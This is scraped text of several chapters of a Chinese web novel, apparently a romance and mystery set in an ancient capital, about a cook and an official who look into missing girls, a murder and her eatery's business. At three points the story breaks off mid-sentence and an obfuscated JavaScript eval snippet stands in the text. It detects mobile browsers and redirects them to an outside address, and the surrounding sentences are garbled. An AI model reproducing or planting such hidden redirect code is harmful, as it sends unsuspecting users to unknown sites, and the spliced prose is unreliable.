江砚白没有半分意会的神情，更是逗笑了沈鱼，她笑得更欢了。 百味楼小二来叫江砚白，说是方才要的巧果做好了，让他去拿。 案台上的菱藕都被尽数拿走了，唯有那只小雀，还孤零零地留在那，沈鱼凑近看了看，雀眼中竟透着一丝伤悲，雀儿的头微微偏转，似在惋惜断了的翅羽。 这般巧思，这个魁首不虚。只是那位尹娘子宣布了结果后就抱着簪盒跑了，像是有急事。 阿莓也慌慌张张跑过来，拉着沈鱼的衣袖，“小鱼……” 沈鱼回眸，阿莓指了指下面。 沈鱼一低头，有个四五岁左右的小女娃，正抱着阿莓的腿。 “呀，你这腿上长女娃儿啦！” “小鱼，快别笑了，帮帮忙。”阿莓也不知道这小女娃是哪里来的，刚才走出来的时候就感觉腿上有一股阻力，低头一看就看见了这个小家伙。 小女娃细皮嫩肉的，她又不能直接把她拉开，伤了她就不好了。 沈鱼蹲下身与她交流，“小妹妹，你怎么一个人呀，你家大人呢？”这开场白莫名有些像怪阿姨。 小女娃睁着圆溜溜的大眼睛，拉拉阿莓的手，“找娘，我要娘。” 阿莓苦着脸，“我不知道你娘在哪里呀？” 既然是在百味楼门口碰见的，沈鱼猜想大概是百味楼的某位客人的孩子。但百味楼是个三层大酒楼，客人上下得有几百个人，属实不好找呀。 有困难就要找警察叔叔嘛，沈鱼让阿莓牵着孩子的手跟在她身后，江砚白提着装了巧果的油纸包出来。 沈鱼含了盈盈笑意，“江少卿留步，有个东西要交给你。” 还是来了吗？他是接受还是不接受？ 江砚白心乱如麻，若是婉拒她会不会伤心呢，若是接下了，他是不是该找人去提亲呢？ 江砚白脑中车水马龙，想了很多，沈鱼越近，胸膛里的那颗心也跳地越来越快。 沈鱼款款而来，眼中似有满天星辰，在江砚白面前站定，往右侧了侧身，露出身后的小女娃来。 “这个小女娃好像走丢了，江少卿帮忙找找她家人吧？” 江砚白：“……”嗯？不是要给巧果吗？ “江少卿，江少卿？”见他没反应，沈鱼伸出手摇了摇。 江砚白长舒一口气，内心渐渐平静，“听见了，帮她找家人。” 小女娃仍是抓着阿莓的手，喊着，“找娘，去找娘。” 江砚白撩袍蹲下，视线与女童齐平，女童头上挽了个双丫髻，用嵌了珍珠的发带绑了，颈上挂着个赤金项圈，身上的衣料也是不俗。 江砚白伸手摸了摸她的袖口，“你娘在哪儿呀？” 女童拉着阿莓，“里面，在里面。”说的就是百味楼。 江砚白站起来，看了一眼阿莓，心里大约有了底。 “带着她进来。” 江砚白找到掌柜，掌柜也不识得这是谁家小姐，江砚白叫来小二，“你可记得今日谁家带了昆仑奴来？” 小二记性不错，“那有好些呢，二楼的有……” “二楼的不必说了，说三楼的，商贾人家也不必说了。” 小二思索了会儿，“三楼有费廷尉，李中书还有晟郡王也带了……” 江砚白打断道，“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981886|177965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晟郡王？是娶了珍宝阁东家的晟郡王吗？” “正是，正是。”小二连连点头。 江砚白正色道，“你去晟郡王包间里告知一下，他家小姐在这儿。” 小二看了眼女娃，撒开腿就往三楼跑。 三楼晟郡王包间已是乱了套了，就是让奶娘带去解了个手，怎么就丢了呢？ 奶娘跪在地上，泣不成声，“是奴婢的错，没看住小姐。” 晟郡王责骂下人看管不利，疾言厉色。 曹氏手上涂着鲜红的蔻丹，衣衫华贵，此时却顾不得庄重，发髻都有些散乱，“现在不是问罪的时候，赶紧找二娘要紧，若是被人拐走了……” “赶紧去找，让百味楼里的人帮着找……” 晟郡王正在发号施令，小二气喘吁吁地跑了上来，憋着一口气说完了江砚白交代的话。 晟郡王夫妇赶紧下楼，看见在楼下正与阿莓玩乐的女儿。 曹氏跑过来抱住孩子，上下仔细检查了一番，小女娃笑嘻嘻地喊娘，“娘怎么这么久才过来？” 曹氏将孩子搂得很紧，又查看了一遍，“好孩子，没事了，娘这不是来了吗？” 晟郡王对江砚白道谢，“多谢江少卿。” 江砚白侧身，没有受这个礼，“不必谢我，是这位沈娘子找到了令嫒。” 曹氏早注意到了沈鱼，抱着孩子欠身，“多谢沈娘子。” 沈鱼可不敢受郡王妃的礼，忙还礼，“不敢不敢。” 阿莓已经是哈欠连天，沈鱼打算打道回府了，便向晟郡王夫妇告了辞。 江砚白同路，便相携而行。 沈鱼刚目睹了场江少卿破案，自然好奇，“江少卿是怎么知道那女娃是晟郡王家的？” 江砚白认真与她解释，“她一直拉着阿莓，对其他人却有些戒备，说明她家中定有些昆仑奴，昆仑奴长相大多相似，孩子年纪小记不住脸，却记得特征。” “那官宦人家呢？” 江砚白猛然停了脚步，看她一眼，继续道，“本朝商人不得着丝绸。” 沈鱼：“……”她忘了古代还有这规定，她现在在江砚白眼里肯定是个法盲。 “那孩子穿的是云华锦，千金难求，今年也圣上只得了十匹，赐给了各宫娘娘和几个王爷。晟郡王虽是郡王，却不在圣上赏赐的人之中。” “那是因为郡王妃？” 江砚白点点头，沈鱼总算扳回一城，显得不那么傻。珍宝阁每日进账如流水，买匹云华锦自然不成问题。 “郡王妃是珍宝阁东家，当初这桩婚事，还是盛京城中的美谈呢。” 这事沈鱼倒是知道点，全因为崔四那张闲不住的嘴，一得空就说起这京中贵人的八卦来。 当年曹氏以女子之身建立了珍宝阁这个京城首屈一指的首饰铺，还是很令人佩服的，她的婚事，自然也备受瞩目。 曹氏追求者众多，不乏些勋贵子弟，还有人聘礼都抬上门了，却被丢了出来。 那人便不爽了，大骂曹氏太过强势，将来定要熬成老姑娘，是个嫁不出去的。没想到第二天晟郡王的花轿就上了门，替曹氏撑了腰。 沈鱼还有个疑问，“可郡王妃即使是疼爱小女儿，今日的反应也有些过度了吧。” 江砚白又停下了脚步，抬起了头，天上只弯弯地挂了个峨眉月，月光有些淡，前方的青石板有些看不清。 他遥望前方，眼中愁绪渐浓，“至今日，京中已然失踪了三个女童了。” 18. 虎皮鸡爪 “这是怎么回事？怎么没有一点消息传出？”沈鱼诧异，这算很严重的事了。 江砚白眼中有些晦暗不明，“寺卿大人下的令。淑妃即将出宫省亲，这时候不能…有问题。” 最后三个字他说得极慢，似乎隐隐含了怒气。 沈鱼了然，顿了顿道，“谁都有身不由己的时候。” 大理寺内部也有派系，沈鱼只是闲聊时听黎辞舟与小杨提过一嘴，现今的这位寺卿大人，在政见上与江砚白颇有些不同。 “京中不平，百姓受灾，实是我的过错。郡王妃估计是听到了些许风声。”江砚白很自责，最早失踪的女童据今已有十日，却找不到一点线索，而且失踪了这么久，女童的情况，凶多吉少。 沈鱼所见的江砚白，从来都是丰神俊朗，云淡风轻，而今日她却从他的神情中察觉到了一丝脆弱。 沈鱼抿了抿唇，“江少卿，今日我买到了两串特别难吃的糖葫芦。” 这话题转变的有些太生硬了些，江砚白抬眼看她。 沈鱼眨了眨眼，“可就算是不好吃，也舍不得丢，花了三文钱买的呢。江少卿你若是买了个难吃的糖葫芦，会扔了吗？” 江砚白忽然明白了她的意思，唇角漾起笑，“不会。” 世上诸事，不如意之事十有八/九，身在其位，为百姓做事才是他的目的，就如买到了不好吃的糖葫芦，已经在手里了，不好吃也得继续吃，不然就太浪费了，不是吗？ 沈记到了，沈鱼笑着回头，柔声道，“江少卿，我到了，天色已晚，早些休息吧。” 江砚白目送着她进门，直至听到了插上门栓的响动才离开。 月上中天，有一两颗星子在天边闪烁，写着沈记二字的灯笼在夜风中摇晃着。 翌日一早，江砚白照常上衙，小杨面色不好的从外面进来。 江砚白皱眉，“又有女童失踪了？” 小杨摇了摇头，“不是，隆义坊的武侯来报，发现了一具尸体，是个成年男人。” “带路。” 隆义坊缁衣巷内，十几个武侯围在巷前的那个水沟内，外头簇拥着一圈百姓瞧热闹。 “怎么回事呀，这个阵势？” “说是死了人！” “阿弥陀佛，别是来了江洋大盗吧。” 缁衣巷的百姓有些心慌，七嘴八舌的议论着。 江砚白命人将人群驱散，泥地上数不清的脚印早已经破坏了现场。 尸体从水沟里捞出来，因着被水泡过，身体胀大了几倍，已辨不出本来面目，还散发出一股难闻的味道来。 仵作到了现场开始验尸，江砚白问旁边的武侯，“是谁报的案？” 武侯堆里站了个瘦小的男人，此时已软了腿肚子，双腿都在打颤，“是……是小人报的案。” 男人路过这，有些尿意，便打算解个手，谁知刚解开裤带往下一瞧就看见张面目全非的脸，那人似乎是死不瞑目，瞪大了双眼。他当时就被吓得七魄丢了六魄，跌跌撞撞跑去报案了。 江砚白又问了几句，男人老实答了，没什么其他的疑点，江砚白便让他先走了。 仵作也差不多勘验完毕，江砚白蹲在尸体旁边，“怎么样了？” 仵作回禀道，“死于刀伤，他身上总共有五处伤口，除了额头上的撞伤，其余都是刀伤。” 仵作掀开了死者的衣服，指了几个地方，“这里，这里，还有这里，这几处的伤是皮肉伤都不致命，要了他性命的，是背后的这一刀，深可见骨，从后心口进去，一刀毙命。” “从尸体的腐烂程度来看，至少死了有五天了，泡了水，时间可能不是很准确。” 小杨提着刀跑来，“大人，这几日附近没有报失踪的。” 小杨瞥了眼尸体，又仔细看了一眼，尸体面容难辨，长了满脸的大胡子，“这人，怎么有些眼熟？” 江砚白脸上一凛，“你认识？” 小杨左右看看，“说不准，五官都变形了，身高差不多，像是那日在沈记闹事的那个大胡子。”他又叫来那日与他一同巡街的武侯，几人看了后，都觉得八成就是那个人。 事情还有关沈鱼，江砚白问他，“在沈记闹事是怎么回事？” 小杨就把那日的事，简略说了说，“那大胡子还给了个小金镯予沈娘子做抵押，若是死在五日前，可能来没来得及去赎。” 江砚白让他顺着这条线索去查，沈记闹事那日说不定有人认识这个大胡子。 江砚白让人带尸体回大理寺，小杨很快便传回了消息，那日闹事的大胡子姓刘，因是家中独子，大家都叫他一声刘大。 父母是早就没了的，又未娶亲，是以家中只有他一人。他无家无业，在缁衣巷赁了个房子住着，缺了钱便去码头卖力气，大多时辰是呆在赌坊，是个有名的赌鬼。 小杨又去了趟刘大家里，锅里煮了粥已经馊了，看样子已经好几天没人住了，又找了与刘大认识的人来认尸。 面容虽认不清了，衣服靴子却还是认识的，来人说，“这靴子是他新买的，还向我炫耀了好久。” 这便算是确定了死者，江砚白亲自去了趟沈记。 沈鱼正在啃鸡爪。 白切鸡卖的不错，剩了许多鸡头鸡爪，鸡头实在是没什么人吃，鸡爪可是大有文章可做。 沈鱼就把它都做成了虎皮鸡爪。若在配上陈年的花雕，一口花雕酒，一口鸡爪，那日子真是神仙也不换。 鸡爪炖的软烂，不需上嘴啃，只轻轻一抿，便都皮骨分离，轻易得就脱了骨，是以吃的时候，也不必担心不雅。 沈鱼最爱吃鸡爪上的筋了，又韧又有嚼劲。 江砚白进门时，她面前已堆了一堆的骨头，嘴里也没闲着。 “江少卿这个时辰怎么会来？”沈鱼连忙在围裙上擦干净手。 江砚白不想引起恐慌，何况这里是饭馆，更不适合大庭广众说这事，示意沈鱼到后面说话。 邓氏满脸笑意，催促着沈鱼，“掌柜快去呀。”并拉住了想要一起进去的阿莓。 江砚白神色凝重，“我来找你，是为了一桩案子。” 沈鱼疑惑，坐下来给他倒了杯水，“什么案子？” “几日前闹事的那个大胡子还记得吗？” “记得。怎么了？” 江砚白面色清冷，“他死了，约莫是在五日前。” 沈鱼倒吸一口凉气，“这……怎么会这样，难怪他没有来赎那小金镯，我还以为是他忘了呢。” 江砚白看了一眼沈鱼，“那小金镯还在吗，能给我看看吗？” “当然。”沈鱼转身去算账的柜台前，回来时手里拿了个帕子，帕子里面包裹的就是小金镯。 沈鱼连帕子一起递给他，江砚白隔着帕子捏起小金镯，屋内光线不好，他略往外走了几步，仔细看了看这金镯。 金镯很小巧，还没江砚白的掌心大，材质是赤金的，上面只简单刻了几朵梅花，内侧刻了个篆体的“薛”字。 江砚白盯着那小字看了许久，才缓缓道，“沈娘子，这小金镯我恐怕需要拿走。” 沈鱼察觉出一丝不同寻常来，“怎么，这小金镯有什么不对吗？” 江砚白把小金镯拿起，“这个镯子的尺寸和花纹，应该是四五岁的女童所带，镯子内侧刻了个‘薛’字，报案失踪的女童中，正好有一户人家姓薛。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981887|177965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你是说……”太过讶异，沈鱼启唇，“那大胡子就是绑走了那些女童的人。” 江砚白将镯子用帕子包好，塞进了袖口，“现在还不能确定，但他应当与此事脱不了干系。” 沈鱼回忆了下，“细想想那大胡子确实有许多不对劲的地方，一个大男人却随身带着小女娃的东西，且他明明没有钱，却还叫嚣这说要买下我的铺子。” 江砚白不能耽搁太久，拿到了东西，也差不多该走了，沈鱼送他出门，回转时总觉得忘了些什么，想不起来便不想了。 江砚白才走不久，江祁白便来了。 沈鱼见状笑了，今日是怎么了，江家人一个两个都往她这儿来。 江祁白是想设宴请客，他有一个忘年交，祖籍是江南的，上回同他说了沈鱼这里的豆腐羹，老友想起家乡来了，江祁白便请他来沈记亲自尝上一尝。 沈鱼给他们安排了个雅间，江祁白照例点了两道豆腐，但宴客不能只有两道豆腐，沈鱼建议道，“既是祖籍江南，不若再点上一道松鼠桂鱼和碎金排骨？” “甚好，再上些好酒，我这位老客好酒。”江祁白定了明日晚间时分。 到了第二日，江祁白如约而至，身边还有个老丈，沈鱼打眼一瞧，正是那日斗巧的评审——老楚相公。 老楚相公以画会友，几年前结识了志趣相投的江祁白，遂引为挚友。 江祁白对沈记如此推崇，老楚相公还以为是什么新开的酒楼，结果只是家其貌不扬的小食肆，心里存了几分好奇。 待菜一上齐，老楚相公还未尝便夸赞，“不尝味道，便是看这品相，确有些江南风味。” 北菜大多粗犷，不如南菜细致，沈鱼这几道菜都带着南方的精巧。 老楚相公夹起一块排骨送入口中，只在口中转了个来回，肉便脱了骨，吐出一根光洁的骨头来。 “骨肉软烂，口颊生香，不错不错。”再尝那七宝豆腐羹，更是久久举着调羹，眼中竟有几分泪意。 老楚相公长叹一声，“老夫多少年都未尝到这江南风味了呀！”老楚相公为官数十载，忆起当年自己还是个年轻的南方举子，一路考了府试再到会试，终得见天颜入了殿试。 做了官却背井离乡，如今在盛京牵挂多了更是回不去了，他多想再回乡看一眼，看看那“斜晖脉脉水悠悠”的江南水乡。 老楚相公一时愁绪涌上心头，抬手拭了拭眼角的泪,“失态，失态，祁白勿怪。” 江祁白拱手道，“让相公如此伤心，还是祁白的不是。” “哪能怪罪你，老夫还要谢谢你呢。”老楚相公喝了口酒，“不知这家的庖厨是哪里的江南厨子？” 江祁白猜到他所图，“楚相公快别想了，庖厨便是这家掌柜，到不了你楚家的厨房！” 老楚相公大呼可惜，日后只能打发仆人多多往崇安坊跑了。 酒过三巡，江祁白拉住了老楚相公正要举杯的手，“我可答应过您夫人，不让您醉醺醺的回去。” 老楚相公低头看了眼酒杯，耍滑道，“最后一杯。”一饮而尽，他的酒虫才被勾引起来，怎么肯停。 江祁白又拦了两回，“您不是要给我看画吗？” “对，对，差些把正事忘了。”老楚相公让身后老仆进来。 老仆手里拿了个卷轴，正是老楚相公前几日刚做的画。老仆高举双手，卷轴打开，入目可见的是鲜艳的红与浓重的黑。 山水人家是老楚相公画惯了的，难得的是这成片的枫树，红得洌艳，红得醉人，加上那浓墨，黑与红之间，厚重的秋意便被轻易的渲染了出来。 “好一副红枫图呀！这红色，怎得这般好看？” 19. 又见王大厨 “这红色，怎得这般好看？” 老楚相公笑眯眯道，“我家孩子新给我寻来的朱砂，颜色正好，我便用了。” 江祁白细细品味这画，再次惊叹于老楚相公的画技。 “这画，能送我吗？”江祁白实在是喜欢的紧。 老楚相公捋着胡须，“祁白难得开口，便送与你了。” 江祁白得了好画高兴，一时便没注意老楚相公。 老楚相公趁此机会偷喝了好几杯，又一杯正要入口，江祁白看过来了。 老楚相公心虚放下酒杯，指着竹帘外的人问，“祁白你瞧那人吃的什么？” 江祁白无奈转头，外面那人抱了坛酒，面前摆了一碟子东西，吃得正香，“大抵是沈记的新吃食吧，您想要我给您也点上一碟吧。” 江祁白唤来崔四，“那位客人吃的什么，也给我们来上一碟。” 崔四道，“那是我们掌柜新做的虎皮鸡爪，下酒最是好，是论斤卖的，三十文一斤，您要多少？” “只是鸡爪子要三十文一斤？”江祁白被这价格惊到。 鸡爪子是粗鄙之物，平素酒楼里都是倒进泔水桶的，到了这儿却卖出鸡肉价了。 “那就先来上半斤。”不过老楚相公想吃，破费些也无妨。 虎皮鸡爪，物如其名，鸡爪色如玛瑙，状若虎皮。 老楚相公本是想岔开江祁白的注意，这鸡爪一端上来，他便有些后悔了，此种难食之物，他又上了年纪，牙口早不如从前。 但骑虎难下，只得硬着头皮将夹起一只，颇有些壮士一去兮的决绝。但入了口后，却并未出现想象中的坚硬。 反而如那排骨一般，这鸡爪炖的有过之而无不及，老楚相公笑了，“大善。” 江祁白见状也尝了一个，怪不得外面那人只抱着一坛水酒也自得其乐，如此美味，人间乐事。 老楚相公对着江祁白道，“有此味美之物，当浮一大白。”说着便拿起酒杯痛饮。 江祁白到底没拦住。 老楚相公顾忌着老妻，只喝了个七分醉，江祁白将人送回去的时候他还是有些清醒的。 楚老夫人扶着丈夫，江祁白连连告罪，楚老夫人却笑道，“早知你劝不住这个老货，不怪罪你。”语毕便揪着楚老相公的耳朵进去了。 江祁白看着莫名觉得自己的耳朵也疼了。 ———— “请问，这里在招帮厨吗？”一个二十岁左右的青年人探头探脑地问身上背了个羊皮箱子。 告示贴了许多天，总算又有人上门了。 崔四连忙迎人进来，“是呢，不过需得经过我家掌柜考验。你随我来吧。” 青年人却摇了摇手，“不是我，是我师傅想做帮厨。”他让开身子，崔四才看到门口站了个中年男人，膀大腰圆，看着就像个大厨。 崔四进去叫沈鱼，“这回这个定能和您心意。” 沈鱼脱下围裙，朝他笑道，“这么有自信？”面试了许多人，她早已不抱什么希望了，再说邓氏做的还不错。 “王大厨！” 门口站的人着实是吓了沈鱼一跳，正是那日她去邱府做酸枣糕的王大厨。 这……确实是符合她的心意，甚至都不用测试。 王大厨却不意外遇见沈鱼，“沈娘子，许久不见了。” 沈鱼让崔四倒茶来，两人坐下叙话。“您怎么会想到我这儿来做个帮厨？” 王大厨长谓一声，“世事难料呀。” 原来当初邱钰被下牢，余氏又与邱钰和离了，邱府算是倒了，邱府这一大家子人也是该遣散遣散，该发卖发卖。 王大厨只是邱府的厨子并未卖身为奴，也便带着徒弟从邱府出来了。打算去坊里酒楼某个差事，他厨艺不错，小酒楼请不起他，大酒楼有自己的主厨，他也只能当个二厨。 王大厨倒是不在乎这些，他已是知天命的年纪了，前半生在邱府也算是存够了后半生的银子，只是徒儿还需要磨练，他自已又没精力开一家店，想着在干几年，等徒弟能独挡一面了，他便颐养天年去。 于是便去百味楼做了个二厨，只是厨艺太好，有时不一定是好事。唐师傅与他一样都是精通北菜的厨子，唐师傅会的他基本都会。 王大厨也知道人在屋檐需低头，但又不能故意把饭菜做难吃，因此凭白得了唐师傅许多怨恨。原本的二厨成了三厨，心中自然忿忿不平，这两人一拍即合，明里暗里给王大厨使绊子，更过分居然污蔑王大厨的徒儿偷厨房里的东西。 百味楼掌柜打圆场说不计较，可凭白得了污蔑王大厨怎能咽下这口气，便说要报官。 唐师傅和那二厨自然不可能让他报官，百味楼掌柜也不想把事情闹大，直说算了算了。 可这便是默认王大厨的徒儿偷了东西，王大厨对掌柜彻底失望，当即脱了围裙，离开了百味楼。 徒儿心生愧疚，想着要不是自己，哪能连累师傅。 王大厨宽厚笑道，“旁人有心要害你，便有无数的缘由，躲不过的。” 满京的酒楼，莫不是做北菜的，他去哪里都一样呀。于是他想起了沈鱼，他听惠儿那丫头说过，沈鱼在崇安坊开了个小食肆。 其实他也没抱多大期望，却没想到惠儿口中的小食肆与他所想中的完全不同。 恰好门前有招帮厨的告示，王大厨便让徒弟常二来问问。 沈鱼听完也是一阵唏嘘，只是有些为难，“可是我也请不起您呀。”王大厨这般的厨子，月银至少十两起步，她这里庙小。 王大厨挥了挥手，“沈小娘子不必烦扰，我既来了，就不是奔着银钱来的，一月五两也就是了，至于我徒儿，他的工钱由我这里出，不过还要劳沈小娘子替我们找个住的地方，不必太好，两个寡汉子，住哪里都是一样的。” 王大厨年轻时也娶过妻，只是一连两个都生病去了，算命的说他命里无妻无子，他也就算了。收了个徒儿，百年后由他摔盆扶棺，也算个依靠。 五两！那可真是占了大便宜，沈鱼嘴角都快咧到后脑勺了，立即签了契。至于住的地方那好办，许家老夫妇卖与她铺子的时候，连同后头那两间屋子都一并给了她，只需稍作收拾，便可搬进去了。 邓氏也为沈鱼高兴能找到个好帮厨，沈掌柜是个好人。只是她也知道，王大厨的到来，就意味着她要走了。 这天傍晚，邓氏收拾完了桌子便向沈鱼告辞。 沈鱼不解，“邓嫂子为何要走？” 邓氏也疑惑，“您不是找到帮厨了吗？” 沈鱼才反应过来，她还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981888|177965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未曾与邓氏签契，拿了纸笔来，“我倒忘了。邓嫂子，你不用走的。” 虎皮鸡爪推出后，沈鱼的食肆更热闹了些，只是还是有人嫌吐鸡骨头太麻烦的。沈鱼便又做了无骨的，找到了诀窍剔鸡爪的骨头也不难，无骨鸡爪很是畅销。 只是沈鱼是抽不出空来剔骨的，阿莓又笨手笨脚，是以剔骨都是邓氏在做，她雇了王大厨来总不能让人家剔鸡骨头吧，常二倒是能做，但也要有人带着。 邓氏可是能帮她不少忙呢，且食肆盈利也上来了，再雇个邓氏不算什么。 得知沈鱼心思，邓氏眼中饱含热泪，“掌柜，你是我遇见最善心的人。” 邓氏拉了沈鱼的手，真挚说道，“您定能嫁个如意郎君的。” 沈鱼嘴角含笑，古人都把女子嫁人看得顶重要，她却不以为意，嫁人还是赚银钱香。 邓氏心头热切，晚间回了家，还在想着感谢沈鱼，在床上辗转难眠，索性点了灯起来，从嫁妆箱子里，拿出块压箱底的料子来。 裁了布，打算给沈鱼做件夏衫，沈鱼平日里的衣服都太素了，小姑娘家家的就该穿得喜庆点才好。 陆峰点灯夜读，出门解手时看见娘的屋子还亮着灯，便敲了敲门，待邓氏应了才推门进去。 邓氏一手拿着布料，另一只手拿着针在头发上划拉两下，炕桌上点着油灯。 “娘，这么晚了，明日再做吧。”陆峰还以为他娘是在给他做衣裳，可一瞧那颜色，也不对呀，难道他娘还接了与人做衣服的活吗？ “娘睡不着，等会累了，自然就歇了。你回去温书吧。”邓氏没抬头一针一线地缝着。 陆峰低头，心里一阵难过，暗暗握紧了拳头，他一定要考上功名，不为光宗耀祖，只为让他娘少辛苦一些。 “娘，那我回房了。”陆峰提着灯笼出去。 邓氏不忘叮嘱，“也别太晚，好好休息。” 陆峰回了房，看了会儿书又放下，拿出一本《三字经》来。又从枕头底下拿了空白书页来，提笔细细抄写了起来。 穷苦人家读不起书的，多会从书肆接些抄书的活，只是他娘不愿让这些事情打扰了他，不许他做，他心疼母亲，便偷偷拿了些回来抄。 他已抄好两本了，过几日就可以拿去书肆换钱，两本可有二十文呢，陆峰美滋滋地想着，复低头抄写。 夏衫简单，邓氏熬了两个大夜就做完了，献宝似的给沈鱼送去。 布料不算太好，款式也有些陈旧，只是袖口的桃花鲜艳夺目，沈鱼捧着衣服，一阵眼热，她感受到了从前不曾有过的——家的温暖。 阿莓看见新衣服，拉着邓氏撒娇，“我也要。” 邓氏拍拍她的手，笑应道，“好好好。” 阿莓这一喊，沈鱼想着也确实该置办些新衣服了，她不是个喜欢把时间花在穿衣打扮上的人，如今养了阿莓像养了个孩子，穿衣风格也是能简则简，倒是忘了人家也是个姑娘，也喜欢漂亮。 “哪好意思再麻烦邓嫂子，下午我带你买衣服去，邓嫂子也去一块挑挑。” 沈鱼突然想到，作为老板，她还没给员工安排工作服，实在是失职，整齐的店铺形象，也是客人们选择食肆的一点呀。 沈鱼还没来得及出门，有人却找上门来了。 20. 来了桩大生意 酒肆卖酒，自然要有下酒的菜。 思闲酒肆有自己的酒坊，自己酿酒卖酒，在盛京靠着自家祖传的倾雪酿在各坊内开了几家酒肆。 思闲酒肆的酒种类繁多，也齐全，是以多数小食肆都会从它这里买酒放到自己铺子里面去卖，沈记也不例外。 酒肆向来不禁止客人从外头带食，毕竟主要卖的是酒，下酒菜只是搭着。 只是有一日，酒肆里一个熟客，拿了个油纸包进来，神神秘秘地打开，对与他喝酒的友人道，“尝了这个，才知道什么叫做下酒菜。” 友人看着鸡爪子，一脸鄙夷，“鸡爪子能好吃？” 那客人淡淡一笑，一副早料到的神情，“就知你会这么说，尝一尝，不就知道了？” 友人经不住朋友的再三请求，还是吃了一口，只一口，便睁大了眼睛，不可置信道，“这——真是鸡爪子？” 鸡爪难食是大家都知道的，可这个不同，轻轻一抿便脱了骨。 “还有无骨的呢，只是每日有定量，我只买到这些。” 友人一口鸡爪，一杯酒，平日里只能喝五两的，今日竟然喝了八两，还浑然不觉得醉，吃完了鸡爪，还念念不忘，“怎么就没了呢？” 酒肆多卖了酒自然是高兴的，但还是更好奇那油纸包里的东西了。 自那个客人之后，来酒肆喝酒的十人里有八人都带了这么个油纸包，酒肆卖的下酒菜少了不少，酒却多卖了许多。 掌柜也尝了尝，确实不错。 掌柜一盘算流水，近日多赚了几十两，心里高兴，派人去打听那油纸包里是什么东西，在哪里买的。 派去的人回禀道，“是崇安坊沈记的虎皮鸡爪，咱们坊里没有。” 精明的掌柜马上就嗅到了商机，将此事禀报了少东家。 沈记只在崇安坊卖，而思闲酒肆却是遍布盛京，若是这虎皮鸡爪能放到思闲酒肆里来卖，那所得利益可不得了呀。 少东家听了掌柜的建议，也觉得大有可为。 于是便找上了门来，沈鱼也没想到，卖个虎皮鸡爪，还卖出大生意来了。 只是沈鱼却不打算卖这虎皮鸡爪的方子，当初卖酸枣糕是不得已，如今这虎皮鸡爪，若也是一锤子买卖，那就不划算了。 思闲酒肆的少东家没想到沈记的掌柜，竟是个年轻貌美的小娘子，虽是女流，他却也不敢小觑，珍宝阁的掌柜便是活生生的例子。 “沈掌柜不打算卖方子？”少东家也能理解，这直接卖确实比卖方子挣得更多。 沈鱼摸了摸下巴，“但虎皮鸡爪，我可以卖给你。” “怎么卖？” 沈鱼笑起来，“思闲酒肆每一家分店，有骨的十斤，无骨的五斤，至于这价钱嘛，有骨的二十文一斤，无骨的四十文一斤，如何？” 沈鱼做生意爽快，思闲少东家也豪气，“太少了，有骨的十五斤，无骨的十斤。” 大酒肆果然财大气粗。 两厢当即便敲定了此事，思闲酒肆共有五家分店，总共便是一百多斤。 “有骨的好办，无骨的却还得等上几天。”沈鱼人手不够，就算现在招人，等训练成熟手也需得好几天。 思闲少东家答应了，且付了一半的定银。 骤然乍富，沈鱼还有些不敢相信，恍如梦中。 有了这些钱，她的分店就更近一步了。沈鱼想过了，做成大酒楼需要的不仅是财力物力，还需要背后有靠山，不然就是待宰的肥硕羔羊，还是现在好，有稳定的客源有又不和大酒楼抢生意。 她的目的是赚满意值，吃到东西的人越多越好，这就得依赖开分店了。 烈日灼灼，太阳热烈得似个大火球，知了更是肆无忌惮地歌唱。 安顺街的大桥下，有一中年妇人抱了一木盆的脏衣服，小心地踩着石头在堤岸上洗起了衣服，棒槌一下下敲打着衣衫，翻了个面又继续敲打。 妇人蹲得有些久了腿麻，站起来松了松筋骨，揉腰时瞥见桥墩下面有个麻袋。 妇人小心翼翼地走了过去，麻袋鼓鼓囊囊的，她想着莫不是谁将银钱藏在了这儿。 妇人面露喜色，忙打开麻袋一瞧，一股子腥臭的气味从里面涌出，她还以为是谁家丢了条死狗在这儿，仔细一看。 哪里是死狗，分明是个女娃娃！ 还是断了气的，妇人大惊失色，大喊起来。 江砚白把盛京舆图铺在桌案上，将几个失踪女童的家都圈了出来。 失踪女童的家都在聚义坊中，表面上看似乎并没有什么联系，但将这几家放在平面上，线索就显示了出来。 三家人的直线距离，不超过五里。 江砚白把这三个地方连起来，得到了一个三角，凶手的位置，会不会就在这三角之中呢？ 江砚白低头沉思，小杨这时候进来了。 江砚白看他神情就知道不是什么好消息，“说吧，又出什么事情了？” “第一位失踪的女童出现了，但……已经遇害了。” 江砚白心里一沉，小杨带来的坏消息不止一个，“方才又有对夫妇来报案，说是他们十岁大的女儿昨日失踪了。” 江砚白闭了闭眼，“将报案人请进来吧。” 